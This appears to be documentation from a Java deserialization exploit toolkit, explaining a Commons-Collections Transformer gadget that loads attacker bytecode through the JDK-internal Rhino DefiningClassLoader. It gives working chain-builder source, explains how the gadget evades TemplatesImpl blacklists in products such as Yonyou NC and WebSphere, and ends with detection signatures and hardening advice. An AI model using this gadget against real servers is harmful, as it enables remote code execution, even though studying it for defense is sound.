Skip to content

Latest commit

 

History

History
138 lines (119 loc) · 12.6 KB

File metadata and controls

138 lines (119 loc) · 12.6 KB

CC Transform链绕TemplaetsImpl黑名单(TransformerWithDefiningClassLoader)

  • 类别:javanative 别名:— 优先级:—(未设置)
  • 作者:—
  • 依赖<=commons-collections 3.2.1<=commons-collections 4.0jdk < 8

作用

构造一个 commons-collections 的 Transformer[] 数组(供 ChainedTransformer 串联执行),其反射链不再走经典的 TemplatesImpl.newTransformer(),而是用 JDK 内置的 sun.org.mozilla.javascript.internal.DefiningClassLoader 作为「字节码加载器」,通过其公开的 defineClass(String, byte[]) 方法直接把恶意字节码定义为类并实例化。目的在于绕过针对 TemplatesImpl 类名的黑名单检测(如用友 NC、WebSphere 等场景),是 CC Transformer 链的一个「加载器替换」变体(sink 前置件)。

链接标签

  • 入口 tagsTransformerChains —— 承接上一环「提供 ChainedTransformer 触发点」的 gadget,即由某个 CC 入口 gadget(如 CommonsCollectionsK3CommonsCollectionsK4)在反序列化时把本 gadget 产出的 Transformer[] 数组塞入 ChainedTransformer 并触发 transform
  • 衔接 nextTagsBytecodeConvertTag —— 之后必须接一个产出「字节码」的环,即 BytecodeConvert(对下游字节码做改名/接口注入/混淆处理),再由更内层的字节码 sink(Bytecode tag)提供真正要 defineClass 的类字节。
  • excludes:无。

源码剖析

本类:编排反射调用序列

@GadgetTags(tags={"TransformerChains"}, nextTags={"BytecodeConvertTag"})
public class TransformerWithDefiningClassLoader extends AbstractTransformer {
    private String className;

    public Object getObject(byte[] bytecodes) throws Exception {
        LinkedList<Object> transformers = new LinkedList<Object>();
        transformers.add(this.createConstantTransformer(DefiningClassLoader.class));
        transformers.add(this.createInvokerTransformer("getDeclaredConstructor",
                new Class[]{Class[].class}, new Object[]{new Class[0]}));
        transformers.add(this.createInvokerTransformer("newInstance",
                new Class[]{Object[].class}, new Object[]{new Object[0]}));
        transformers.add(this.createInvokerTransformer("defineClass",
                new Class[]{String.class, byte[].class}, new Object[]{this.className, bytecodes}));
        transformers.add(this.createInvokerTransformer("getDeclaredConstructor",
                new Class[]{Class[].class}, new Object[]{new Class[0]}));
        transformers.add(this.createInvokerTransformer("newInstance",
                new Class[]{Object[].class}, new Object[]{new Object[0]}));
        transformers.add(this.createConstantTransformer(1));
        return this.createTransformerArray(transformers);
    }
}

getObject 生成的 7 个 Transformer 会被 ChainedTransformer 依次应用,前一个的输出作为后一个的输入,等价于如下 Java 反射链(初始输入被 ConstantTransformer 直接丢弃):

  1. ConstantTransformer(DefiningClassLoader.class) —— 无视输入,输出 Class 对象 sun.org.mozilla.javascript.internal.DefiningClassLoader
  2. InvokerTransformer("getDeclaredConstructor", {Class[].class}, {new Class[0]}) —— 对上一步的 Class 调用 getDeclaredConstructor()(无参构造器),得到该加载器的 Constructor
  3. InvokerTransformer("newInstance", {Object[].class}, {new Object[0]}) —— 调用 Constructor.newInstance(),得到一个 DefiningClassLoader 实例
  4. InvokerTransformer("defineClass", {String.class, byte[].class}, {className, bytecodes}) —— 关键步骤:对该加载器实例调用其公开的 defineClass(String name, byte[] b),把 bytecodes 定义为名为 classNameClass。这正是替代 TemplatesImpl 定义字节码的手段。
  5. InvokerTransformer("getDeclaredConstructor", {Class[].class}, {new Class[0]}) —— 对上一步新定义出来的 Class 取其无参构造器。
  6. InvokerTransformer("newInstance", {Object[].class}, {new Object[0]}) —— 实例化该恶意类,其静态块 / 构造器即为执行点(RCE)。
  7. ConstantTransformer(1) —— 收尾,返回一个无害常量,避免链末返回值被外层意外使用。

之所以选 DefiningClassLoader:它把 ClassLoader#defineClassprotected)以 public 方法暴露出来,因而可被 InvokerTransformer 反射调用;且它是 JDK 内置(Rhino 引擎内部包),无需第三方依赖。className(步骤 4 定义类的类名)与 bytecodes 均在 invoke 阶段动态注入。

本类:invoke 装配(链由内向外构建)

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String version = context.getString(ContextTag.CC_VERSION);   // "3" 或 "4"
    this.initClazz(version);                                      // 按 CC 版本解析 Transformer 家族类
    byte[] bytecodes = (byte[])chain.doCreate(context);          // 取内层:下游产出的恶意字节码
    this.className = context.getString(ContextTag.CLASS_NAME_KEY);// 字节码对应的类名
    return this.getObject(bytecodes);
}

符合本库「由内向外」构建约定:先 chain.doCreate(context) 拿到内层对象——这里内层是 byte[] 字节码(由 BytecodeConvert 及其下游字节码 sink 产出),再把它包进本 gadget 的 Transformer 数组返回。CC_VERSION 决定使用 CC3 还是 CC4 的类族;CLASS_NAME_KEY 由上下文注入,保证 defineClass 的类名与实际字节码一致。

基类 AbstractTransformer:版本自适应与反射构造

public abstract class AbstractTransformer implements Gadget {
    public Class transformerClazz, constantTransformerClazz, invokerTransformerClazz, instantiateTransformer;

    public void initClazz(String version) throws ClassNotFoundException {
        if (version.equals("3")) {
            this.transformerClazz          = Class.forName("org.apache.commons.collections.Transformer");
            this.constantTransformerClazz  = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
            this.invokerTransformerClazz   = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
            this.instantiateTransformer    = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
        } else if (version.equals("4")) {
            this.transformerClazz          = Class.forName("org.apache.commons.collections4.Transformer");
            this.constantTransformerClazz  = Class.forName("org.apache.commons.collections4.functors.ConstantTransformer");
            this.invokerTransformerClazz   = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
            this.instantiateTransformer    = Class.forName("org.apache.commons.collections4.functors.InstantiateTransformer");
        } else {
            ThrowsUtil.throwGadgetException("CC " + version + " not found");
        }
    }

    public Object createTransformerArray(LinkedList<Object> transformers) throws ClassNotFoundException {
        Object transformerArray = Array.newInstance(this.transformerClazz, transformers.size());
        for (int i = 0; i < transformers.size(); ++i) Array.set(transformerArray, i, transformers.get(i));
        return transformerArray;
    }

    public Object createConstantTransformer(Object args) throws Exception {
        return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
    }
    public Object createInvokerTransformer(Object ... args) throws Exception {
        return Reflections.newInstance(this.invokerTransformerClazz.getName(),
                new Class[]{String.class, Class[].class, Object[].class}, args);
    }
}

基类抽象出对 CC3 / CC4 两套包名(org.apache.commons.collections.functors.* vs org.apache.commons.collections4.functors.*)的适配:initClazzCC_VERSION 解析出 TransformerConstantTransformerInvokerTransformerInstantiateTransformer 四个类;createTransformerArrayArray.newInstance(transformerClazz, n) 生成类型正确Transformer[](而非 Object[],否则反序列化装入 ChainedTransformer 时类型不符);createConstantTransformer / createInvokerTransformer 则全部经 Reflections.newInstance 反射构造,使本类对 CC 依赖无编译期硬引用,可在缺失依赖时仍完成装配。注意本变体只用到 ConstantTransformerInvokerTransformer,未使用 createInstantiateTransformer

参数(@Param)

本 gadget 无独立 @Paramparams: [])。运行期两个关键值均从 GadgetContext 注入:

来源 含义
context ContextTag.CC_VERSION CC 版本选择器,取 "3""4",决定 Transformer 家族包名
context ContextTag.CLASS_NAME_KEY 内层恶意字节码对应的类名,作为 defineClass 的第一个参数
chain chain.doCreate(context) 内层产物 byte[],即要被 defineClass 的类字节码

适用版本与原理要点

  • CC 依赖<=commons-collections 3.2.1<=commons-collections 4.0(需存在未修复的 InvokerTransformer 反射能力)。
  • JDKjdk < 8。原文 description 注明「JDK6、7 测试成功」。原因是 sun.org.mozilla.javascript.internal.DefiningClassLoader 属 JDK 内置 Rhino 引擎的内部包,JDK 8 起 Rhino 被 Nashorn 取代、该内部类不再可用(ClassNotFoundException),故本变体限于 JDK 6/7 环境。
  • 绕过点:不出现 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类名与 TemplatesImpl 典型序列化指纹,可规避仅对 TemplatesImpl 做黑名单/关键字匹配的防护(description 明确面向「用友 NC 黑名单 TemplateImpl 检测」、WebSphere 等)。
  • 坑点defineClass 定义出的类会立即被 newInstance 实例化,因此恶意逻辑应放在其无参构造器或静态初始化块中;className 必须与字节码内声明的类名严格一致,否则 defineClassNoClassDefFoundError/ClassFormatError

所属预设链

  • usedInChains: [] —— 自由构件,未直接出现在 51 条预设链中。作为 CC Transformer 链的可替换 sink 前置件,供需要绕过 TemplatesImpl 黑名单时手动组合。

关联

  • 上游(其 nextTags=TransformerChains 可衔接本 gadget 的 tags):CommonsCollectionsK3(CC3.2.1 ChainedTransformer 链)、CommonsCollectionsK4(CC4.0 ChainedTransformer 链)。
  • 下游(本 gadget nextTags=BytecodeConvertTag):BytecodeConvert(字节码改名/接口注入/混淆),其后再接 Bytecode 类字节码 sink。
  • 同族变体(同基类 AbstractTransformer,同 tags=TransformerChains):
    • TransformerWithDefiningClassLoader2 —— 改用 org.mozilla.javascript.DefiningClassLoader(独立 Rhino 依赖而非 JDK 内部包),适配未内置该内部包名的环境。
    • TransformerWithBcel —— 改用 com.sun.org.apache.bcel.internal.util.ClassLoader 加载 BCEL 字节码(nextTags=BCEL_Expr)。
    • TransformerWithExec —— 直接用 java.lang.Runtime 执行命令(含 @Param cmd)。

防御与检测

  • 检测特征
    • 序列化流中出现 org.apache.commons.collections(4)?.functors.InvokerTransformer 且方法名字符串包含 defineClassgetDeclaredConstructornewInstance 的组合。
    • 常量 ConstantTransformer 承载的类名为 sun.org.mozilla.javascript.internal.DefiningClassLoader(或变体 2 的 org.mozilla.javascript.DefiningClassLoader)——这是区别于经典 TemplatesImpl 链的显著指纹,黑名单若只盯 TemplatesImpl 会漏检。
    • ChainedTransformer + Transformer[] 结构本身即高危。
  • 加固建议
    • 反序列化白名单(ObjectInputFilter / JEP 290)优先,仅放行业务必需类;黑名单应覆盖 InvokerTransformerChainedTransformerInstantiateTransformer 及各类 ClassLoader/DefiningClassLoader,而非仅 TemplatesImpl
    • 升级 commons-collections 至已加固版本(3.2.2+ 默认禁用危险 functors 反序列化 / 4.1+),或移除该依赖。
    • 升级 JDK 至 8+ 可使本内部包变体失效,但不能替代根因治理。